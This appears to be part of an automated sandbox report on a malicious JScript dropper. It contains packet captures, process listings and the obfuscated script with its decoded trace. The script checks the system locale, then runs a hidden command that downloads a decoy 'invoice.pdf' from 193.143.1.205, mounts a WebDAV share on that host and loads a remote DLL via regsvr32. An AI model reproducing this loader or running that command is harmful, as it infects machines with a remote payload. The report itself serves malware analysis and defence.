Jan 10, 2025 21:28:20.989723921 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 21:28:20.989738941 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 21:28:20.989752054 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 21:28:20.989767075 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 21:28:20.989783049 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 21:28:20.989797115 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 10, 2025 21:28:21.035840988 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	2492	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:28:22.512743950 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:28:24.091906071 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:28:23 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error
Jan 10, 2025 21:28:24.093225002 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:28:23 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error
Jan 10, 2025 21:28:24.093436003 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:28:23 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error
Jan 10, 2025 21:28:24.301148891 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:28:23 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:28:16
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js"
Imagebase:	0x7ff65f9a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:28:16
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Imagebase:	0x7ff6243a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:28:16
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:28:16
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:28:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	15:28:21
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6243a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:28:21
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7699e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:28:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	15:28:22
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:28:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,11078278986070257110,17438414062672174970,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function zdiqieps() {	zdiqieps() ➔ undefined
1	ovpul = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hukmsw = this[jgtqc + wlfxeqet + omqsbadi + vhpxxcsw + zmgzcyqlu + lgxbwhlmj + lugirm + pacel] ( this[mqropb + goxpjbt + aymuok + omqsbadi + qsqezh + jgtqc + pacel][piaejnwxv + omqsbadi + zmgzcyqlu + wlfxeqet + pacel + zmgzcyqlu + wqbqai + hzdfdfya + aigcsvyfn + zmgzcyqlu + aymuok + pacel] ( mqropb + goxpjbt + aymuok + omqsbadi + qsqezh + jgtqc + pacel + jpqwwnb + goxpjbt + wzhhe + zmgzcyqlu + ltlgr + ltlgr ) [irvobw + zmgzcyqlu + ahheiwhj + irvobw + zmgzcyqlu + wlfxeqet + lnhauxyty] ( ncvepbvv + ptwjad + ywrdx + oetvt + sztug + piaejnwxv + jjkxzs + irvobw + irvobw + ywrdx + xnklllg + ikshnyz + sztug + jjkxzs + goxpjbt + ywrdx + irvobw + usprqtltt + piaejnwxv + shvjaaeyz + lugirm + pacel + omqsbadi + shvjaaeyz + ltlgr + eymelhf + igkvdeo + wlfxeqet + lugirm + zmgzcyqlu + ltlgr + usprqtltt + lgxbwhlmj + lugirm + pacel + zmgzcyqlu + omqsbadi + lugirm + wlfxeqet + pacel + qsqezh + shvjaaeyz + lugirm + wlfxeqet + ltlgr + usprqtltt + ctzywtoxu + shvjaaeyz + aymuok + wlfxeqet + ltlgr + zmgzcyqlu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qjvpmg = 0 ; qjvpmg < ovpul[ltlgr + zmgzcyqlu + lugirm + ahheiwhj + pacel + wzhhe] ; ++ qjvpmg )
4	{
5	if ( hukmsw == ovpul[qjvpmg] )
6	{
7	hukmsw = true;
8	break ;
9	}
10	}
11	if ( hukmsw !== true )
12	this[mqropb + goxpjbt + aymuok + omqsbadi + qsqezh + jgtqc + pacel][hjnacde + gozzvr + qsqezh + pacel] ( );
13	this[mqropb + goxpjbt + aymuok + omqsbadi + qsqezh + jgtqc + pacel][piaejnwxv + omqsbadi + zmgzcyqlu + wlfxeqet + pacel + zmgzcyqlu + wqbqai + hzdfdfya + aigcsvyfn + zmgzcyqlu + aymuok + pacel] ( mqropb + goxpjbt + aymuok + omqsbadi + qsqezh + jgtqc + pacel + jpqwwnb + goxpjbt + wzhhe + zmgzcyqlu + ltlgr + ltlgr ) [omqsbadi + gozzvr + lugirm] ( aymuok + fnsrvfsu + lnhauxyty + eymelhf + qcsyg + aymuok + eymelhf + jgtqc + shvjaaeyz + texjup + zmgzcyqlu + omqsbadi + vhpxxcsw + wzhhe + zmgzcyqlu + ltlgr + ltlgr + jpqwwnb + zmgzcyqlu + wmlqydu + zmgzcyqlu + eymelhf + kdzxywo + piaejnwxv + shvjaaeyz + fnsrvfsu + fnsrvfsu + wlfxeqet + lugirm + lnhauxyty + eymelhf + adoaq + lgxbwhlmj + lugirm + wdefoo + shvjaaeyz + fqlancnj + zmgzcyqlu + kdzxywo + mqropb + zmgzcyqlu + hzdfdfya + irvobw + zmgzcyqlu + qnuwb + gozzvr + zmgzcyqlu + vhpxxcsw + pacel + eymelhf + kdzxywo + wqbqai + gozzvr + pacel + rxjuz + qsqezh + ltlgr + zmgzcyqlu + eymelhf + ihligzcf + pacel + zmgzcyqlu + fnsrvfsu + jgtqc + ihligzcf + usprqtltt + qsqezh + lugirm + wdefoo + shvjaaeyz + qsqezh + aymuok + zmgzcyqlu + jpqwwnb + jgtqc + lnhauxyty + kljqyplha + eymelhf + wzhhe + pacel + pacel + jgtqc + xzedmfoyj + qcsyg + qcsyg + theewph + ymxkbgsb + xhfzz + jpqwwnb + theewph + lodnkcwez + xhfzz + jpqwwnb + theewph + jpqwwnb + iagnjvo + ofqvaf + sahpezej + qcsyg + qsqezh + lugirm + wdefoo + shvjaaeyz + qsqezh + aymuok + zmgzcyqlu + jpqwwnb + jgtqc + wzhhe + jgtqc + adoaq + trgnkmf + trgnkmf + vhpxxcsw + pacel + wlfxeqet + omqsbadi + pacel + eymelhf + ihligzcf + pacel + zmgzcyqlu + fnsrvfsu + jgtqc + ihligzcf + usprqtltt + qsqezh + lugirm + wdefoo + shvjaaeyz + qsqezh + aymuok + zmgzcyqlu + jpqwwnb + jgtqc + lnhauxyty + kljqyplha + trgnkmf + trgnkmf + aymuok + fnsrvfsu + lnhauxyty + eymelhf + qcsyg + aymuok + eymelhf + lugirm + zmgzcyqlu + pacel + eymelhf + gozzvr + vhpxxcsw + zmgzcyqlu + eymelhf + usprqtltt + usprqtltt + theewph + ymxkbgsb + xhfzz + jpqwwnb + theewph + lodnkcwez + xhfzz + jpqwwnb + theewph + jpqwwnb + iagnjvo + ofqvaf + sahpezej + qjhdexf + kojhamqvi + kojhamqvi + kojhamqvi + kojhamqvi + usprqtltt + lnhauxyty + wlfxeqet + wdefoo + texjup + texjup + texjup + omqsbadi + shvjaaeyz + shvjaaeyz + pacel + usprqtltt + trgnkmf + trgnkmf + aymuok + fnsrvfsu + lnhauxyty + eymelhf + qcsyg + aymuok + eymelhf + omqsbadi + zmgzcyqlu + ahheiwhj + vhpxxcsw + wdefoo + omqsbadi + xhfzz + iagnjvo + eymelhf + qcsyg + vhpxxcsw + eymelhf + usprqtltt + usprqtltt + theewph + ymxkbgsb + xhfzz + jpqwwnb + theewph + lodnkcwez + xhfzz + jpqwwnb + theewph + jpqwwnb + iagnjvo + ofqvaf + sahpezej + qjhdexf + kojhamqvi + kojhamqvi + kojhamqvi + kojhamqvi + usprqtltt + lnhauxyty + wlfxeqet + wdefoo + texjup + texjup + texjup + omqsbadi + shvjaaeyz + shvjaaeyz + pacel + usprqtltt + theewph + theewph + kojhamqvi + pppgdyj + sahpezej + theewph + ymxkbgsb + sahpezej + ofqvaf + lodnkcwez + theewph + xhfzz + kojhamqvi + omvosvp + omvosvp + jpqwwnb + lnhauxyty + ltlgr + ltlgr, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll",0,false) ➔ 0
14	}
15	qcsyg = "v";
16	qcsyg = "s";
17	qcsyg = "v";
18	qcsyg = "A";
19	qcsyg = "v";
20	qcsyg = "M";
21	qcsyg = "p";
22	qcsyg = "m";
23	qcsyg = "u";
24	qcsyg = "k";
25	qcsyg = "Q";
26	qcsyg = "N";
27	qcsyg = "R";
28	qcsyg = "X";
29	qcsyg = "X";
30	qcsyg = "D";
31	qcsyg = "w";
32	qcsyg = "K";
33	qcsyg = "D";
34	qcsyg = "/";
35	vhpxxcsw = "s";
36	texjup = "D";
37	texjup = "F";
38	texjup = "I";
39	texjup = "v";
40	texjup = "l";
41	texjup = "z";
42	texjup = "J";
43	texjup = "A";
44	texjup = "c";
45	texjup = "j";
46	texjup = "w";
47	hzdfdfya = "q";
48	hzdfdfya = "s";
49	hzdfdfya = "I";
50	hzdfdfya = "x";
51	hzdfdfya = "u";
52	hzdfdfya = "y";
53	hzdfdfya = "a";
54	hzdfdfya = "K";
55	hzdfdfya = "r";
56	hzdfdfya = "U";
57	hzdfdfya = "v";
58	hzdfdfya = "b";
59	hzdfdfya = "e";
60	hzdfdfya = "V";
61	hzdfdfya = "i";
62	hzdfdfya = "k";
63	hzdfdfya = "T";
64	hzdfdfya = "b";
65	ikshnyz = "T";
66	lugirm = "T";
67	lugirm = "g";
68	lugirm = "c";
69	lugirm = "d";
70	lugirm = "s";
71	lugirm = "e";
72	lugirm = "q";
73	lugirm = "C";
74	lugirm = "m";
75	lugirm = "S";
76	lugirm = "C";
77	lugirm = "t";
78	lugirm = "x";
79	lugirm = "i";
80	lugirm = "s";
81	lugirm = "P";
82	lugirm = "g";
83	lugirm = "B";
84	lugirm = "F";
85	lugirm = "D";
86	lugirm = "q";
87	lugirm = "p";
88	lugirm = "u";
89	lugirm = "E";
90	lugirm = "F";
91	lugirm = "k";
92	lugirm = "W";
93	lugirm = "n";
94	igkvdeo = "E";
95	igkvdeo = "w";
96	igkvdeo = "B";
97	igkvdeo = "j";
98	igkvdeo = "c";
99	igkvdeo = "J";
100	igkvdeo = "P";
101	igkvdeo = "w";
102	igkvdeo = "D";
103	igkvdeo = "Y";
104	igkvdeo = "A";
105	igkvdeo = "U";
106	igkvdeo = "u";
107	igkvdeo = "j";
108	igkvdeo = "K";
109	igkvdeo = "M";
110	igkvdeo = "q";
111	igkvdeo = "m";
112	igkvdeo = "D";
113	igkvdeo = "n";
114	igkvdeo = "Y";
115	igkvdeo = "R";
116	igkvdeo = "Q";
117	igkvdeo = "j";
118	igkvdeo = "P";
119	usprqtltt = "v";
120	usprqtltt = "c";
121	usprqtltt = "W";
122	usprqtltt = "t";
123	usprqtltt = "V";
124	usprqtltt = "r";
125	usprqtltt = "\\";
126	lgxbwhlmj = "o";
127	lgxbwhlmj = "x";
128	lgxbwhlmj = "D";
129	lgxbwhlmj = "m";
130	lgxbwhlmj = "r";
131	lgxbwhlmj = "B";
132	lgxbwhlmj = "T";
133	lgxbwhlmj = "I";
134	lgxbwhlmj = "h";
135	lgxbwhlmj = "N";
136	lgxbwhlmj = "V";
137	lgxbwhlmj = "w";
138	lgxbwhlmj = "d";
139	lgxbwhlmj = "b";
140	lgxbwhlmj = "J";
141	lgxbwhlmj = "h";
142	lgxbwhlmj = "o";
143	lgxbwhlmj = "s";
144	lgxbwhlmj = "Y";
145	lgxbwhlmj = "q";
146	lgxbwhlmj = "s";
147	lgxbwhlmj = "F";
148	lgxbwhlmj = "D";
149	lgxbwhlmj = "y";
150	lgxbwhlmj = "K";
151	lgxbwhlmj = "s";
152	lgxbwhlmj = "z";
153	lgxbwhlmj = "w";
154	lgxbwhlmj = "U";
155	lgxbwhlmj = "L";
156	lgxbwhlmj = "I";
157	pppgdyj = "d";
158	pppgdyj = "Y";
159	pppgdyj = "Z";
160	pppgdyj = "D";
161	pppgdyj = "g";
162	pppgdyj = "D";
163	pppgdyj = "F";
164	pppgdyj = "Q";
165	pppgdyj = "Z";
166	pppgdyj = "P";
167	pppgdyj = "D";
168	pppgdyj = "p";
169	pppgdyj = "7";
170	aigcsvyfn = "U";
171	aigcsvyfn = "i";
172	aigcsvyfn = "m";
173	aigcsvyfn = "c";
174	aigcsvyfn = "N";
175	aigcsvyfn = "E";
176	aigcsvyfn = "t";
177	aigcsvyfn = "q";
178	aigcsvyfn = "P";
179	aigcsvyfn = "M";
180	aigcsvyfn = "t";
181	aigcsvyfn = "P";
182	aigcsvyfn = "d";
183	aigcsvyfn = "h";
184	aigcsvyfn = "I";
185	aigcsvyfn = "A";
186	aigcsvyfn = "H";
187	aigcsvyfn = "E";
188	aigcsvyfn = "A";
189	aigcsvyfn = "N";
190	aigcsvyfn = "q";
191	aigcsvyfn = "j";
192	zmgzcyqlu = "I";
193	zmgzcyqlu = "B";
194	zmgzcyqlu = "Z";
195	zmgzcyqlu = "t";
196	zmgzcyqlu = "u";
197	zmgzcyqlu = "e";
198	irvobw = "b";
199	irvobw = "t";
200	irvobw = "i";
201	irvobw = "l";
202	irvobw = "r";
203	irvobw = "t";
204	irvobw = "I";
205	irvobw = "J";
206	irvobw = "B";
207	irvobw = "t";
208	irvobw = "h";
209	irvobw = "s";
210	irvobw = "T";
211	irvobw = "K";
212	irvobw = "r";
213	irvobw = "C";
214	irvobw = "Y";
215	irvobw = "c";
216	irvobw = "P";
217	irvobw = "P";
218	irvobw = "F";
219	irvobw = "a";
220	irvobw = "N";
221	irvobw = "q";
222	irvobw = "r";
223	irvobw = "t";
224	irvobw = "K";
225	irvobw = "A";
226	irvobw = "N";
227	irvobw = "A";
228	irvobw = "B";
229	irvobw = "R";
230	iagnjvo = "o";
231	iagnjvo = "i";
232	iagnjvo = "E";
233	iagnjvo = "x";
234	iagnjvo = "x";
235	iagnjvo = "r";
236	iagnjvo = "T";
237	iagnjvo = "i";
238	iagnjvo = "t";
239	iagnjvo = "N";
240	iagnjvo = "Z";
241	iagnjvo = "T";
242	iagnjvo = "n";
243	iagnjvo = "n";
244	iagnjvo = "Q";
245	iagnjvo = "D";
246	iagnjvo = "n";
247	iagnjvo = "s";
248	iagnjvo = "j";
249	iagnjvo = "A";
250	iagnjvo = "i";
251	iagnjvo = "c";
252	iagnjvo = "Z";
253	iagnjvo = "L";
254	iagnjvo = "d";
255	iagnjvo = "o";
256	iagnjvo = "H";
257	iagnjvo = "W";
258	iagnjvo = "U";
259	iagnjvo = "Z";
260	iagnjvo = "c";
261	iagnjvo = "t";
262	iagnjvo = "o";
263	iagnjvo = "S";
264	iagnjvo = "R";
265	iagnjvo = "z";
266	iagnjvo = "G";
267	iagnjvo = "S";
268	iagnjvo = "x";
269	iagnjvo = "k";
270	iagnjvo = "k";
271	iagnjvo = "a";
272	iagnjvo = "H";
273	iagnjvo = "J";
274	iagnjvo = "2";
275	adoaq = "h";
276	adoaq = "Q";
277	adoaq = "M";
278	adoaq = "k";
279	adoaq = "J";
280	adoaq = "h";
281	adoaq = "O";
282	adoaq = "\"";
283	fqlancnj = "P";
284	fqlancnj = "X";
285	fqlancnj = "q";
286	fqlancnj = "I";
287	fqlancnj = "K";
288	fqlancnj = "X";
289	fqlancnj = "L";
290	fqlancnj = "n";
291	fqlancnj = "a";
292	fqlancnj = "Q";
293	fqlancnj = "p";
294	fqlancnj = "q";
295	fqlancnj = "P";
296	fqlancnj = "L";
297	fqlancnj = "i";
298	fqlancnj = "M";
299	fqlancnj = "q";
300	fqlancnj = "s";
301	fqlancnj = "Z";
302	fqlancnj = "G";
303	fqlancnj = "l";
304	fqlancnj = "v";
305	fqlancnj = "N";
306	fqlancnj = "H";
307	fqlancnj = "L";
308	fqlancnj = "V";
309	fqlancnj = "i";
310	fqlancnj = "u";
311	fqlancnj = "o";
312	fqlancnj = "p";
313	fqlancnj = "k";
314	oetvt = "f";
315	oetvt = "L";
316	oetvt = "y";
317	oetvt = "M";
318	oetvt = "L";
319	oetvt = "Y";
320	oetvt = "o";
321	oetvt = "V";
322	oetvt = "D";
323	oetvt = "R";
324	oetvt = "r";
325	oetvt = "b";
326	oetvt = "O";
327	oetvt = "O";
328	oetvt = "f";
329	oetvt = "u";
330	oetvt = "u";
331	oetvt = "u";
332	oetvt = "s";
333	oetvt = "X";
334	oetvt = "e";
335	oetvt = "N";
336	oetvt = "c";
337	oetvt = "n";
338	oetvt = "T";
339	oetvt = "C";
340	oetvt = "P";
341	oetvt = "o";
342	oetvt = "X";
343	oetvt = "Q";
344	oetvt = "F";
345	oetvt = "T";
346	oetvt = "f";
347	oetvt = "Q";
348	oetvt = "d";
349	oetvt = "l";
350	oetvt = "G";
351	oetvt = "t";
352	oetvt = "Y";
353	oetvt = "N";
354	oetvt = "Y";
355	pacel = "M";
356	pacel = "b";
357	pacel = "b";
358	pacel = "W";
359	pacel = "l";
360	pacel = "j";
361	pacel = "K";
362	pacel = "w";
363	pacel = "s";
364	pacel = "r";
365	pacel = "l";
366	pacel = "t";
367	hjnacde = "o";
368	hjnacde = "t";
369	hjnacde = "H";
370	hjnacde = "l";
371	hjnacde = "F";
372	hjnacde = "y";
373	hjnacde = "C";
374	hjnacde = "L";
375	hjnacde = "U";
376	hjnacde = "F";
377	hjnacde = "o";
378	hjnacde = "D";
379	hjnacde = "Q";
380	ihligzcf = "b";
381	ihligzcf = "Q";
382	ihligzcf = "Q";
383	ihligzcf = "m";
384	ihligzcf = "t";
385	ihligzcf = "d";
386	ihligzcf = "a";
387	ihligzcf = "c";
388	ihligzcf = "t";
389	ihligzcf = "H";
390	ihligzcf = "L";
391	ihligzcf = "p";
392	ihligzcf = "v";
393	ihligzcf = "l";
394	ihligzcf = "F";
395	ihligzcf = "d";
396	ihligzcf = "g";
397	ihligzcf = "o";
398	ihligzcf = "%";
399	omvosvp = "a";
400	omvosvp = "O";
401	omvosvp = "w";
402	omvosvp = "g";
403	omvosvp = "e";
404	omvosvp = "D";
405	omvosvp = "D";
406	omvosvp = "j";
407	omvosvp = "O";
408	omvosvp = "p";
409	omvosvp = "H";
410	omvosvp = "s";
411	omvosvp = "t";
412	omvosvp = "F";
413	omvosvp = "Q";
414	omvosvp = "K";
415	omvosvp = "B";
416	omvosvp = "E";
417	omvosvp = "V";
418	omvosvp = "h";
419	omvosvp = "M";
420	omvosvp = "Z";
421	omvosvp = "D";
422	omvosvp = "l";
423	omvosvp = "d";
424	omvosvp = "J";
425	omvosvp = "A";
426	omvosvp = "I";
427	omvosvp = "p";
428	omvosvp = "F";
429	omvosvp = "x";
430	omvosvp = "K";
431	omvosvp = "j";
432	omvosvp = "N";
433	omvosvp = "I";
434	omvosvp = "I";
435	omvosvp = "6";
436	rxjuz = "m";
437	rxjuz = "H";
438	rxjuz = "M";
439	rxjuz = "i";
440	rxjuz = "Y";
441	rxjuz = "a";
442	rxjuz = "G";
443	rxjuz = "r";
444	rxjuz = "E";
445	rxjuz = "t";
446	rxjuz = "r";
447	rxjuz = "c";
